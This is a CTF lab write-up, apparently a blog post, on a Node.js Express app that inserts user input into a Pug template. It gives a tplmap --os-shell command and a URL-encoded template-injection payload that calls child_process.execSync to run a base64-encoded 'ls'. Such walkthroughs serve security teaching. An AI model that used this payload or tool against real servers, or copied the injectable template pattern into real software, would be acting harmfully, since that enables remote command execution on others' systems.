Simple Web 0x22(Lab - Pug)

Posted on | Post modified | In |

Simple Web 0x22(Lab - Pug)

tags: NTUSTWS CTF Web

Challenge: http://h4ck3r.quest:8008

Source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
const express = require('express');
const pug = require('pug');

const app = express();

const template = `
h1 Hello %NAME%
form(method='GET' action='/')
  div
    label(for='nickname') Name:
    input#nickname(type='text', placeholder='Nickname' name='name')
    button(type='submit') Submit 
  a(href='/source') Source Code
`;

app.get('/', (req, res) => {
    const name = (req.query.name ?? 'Anonymous').toString();
    if (name.includes('{')) return res.send('Nice try');
    let html = pug.render(template.replace('%NAME%', name));
    res.set('Content-Type', 'text/html');
    res.send(html);
});

app.get("/source", (_, res) => {
    res.sendFile(__filename);
});

app.listen(3000, () => console.log(':3000'));

Exploit - tqlmap

1
$ ./tplmap.py --engine pug --os-shell -u "http://h4ck3r.quest:8008/?name=bob"
  • Using wireshark to trace the payload. You must let the template be like: 
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
      const template = `
  h1 Hello %NAME%
  = global.process.mainModule.require('child_process').execSync(Buffer('bHM=', 'base64').toString())
  form(method='GET' action='/')
    div
      label(for='nickname') Name:
      input#nickname(type='text', placeholder='Nickname' name='name')
      button(type='submit') Submit 
    a(href='/source') Source Code
  `;

    Including a new line and an equal sign, Payload:

    1
      %0A%3D%20global.process.mainModule.require%28%27child_process%27%29.execSync%28Buffer%28%27bHM%3D%27%2C%2B%27base64%27%29.toString%28%29%29

    which is

    1
    2
    
  = global.process.mainModule.require('child_process').execSync(Buffer('bHM=',+'base64').toString())
  • Note that bHM= is command ls in base64 format

Reference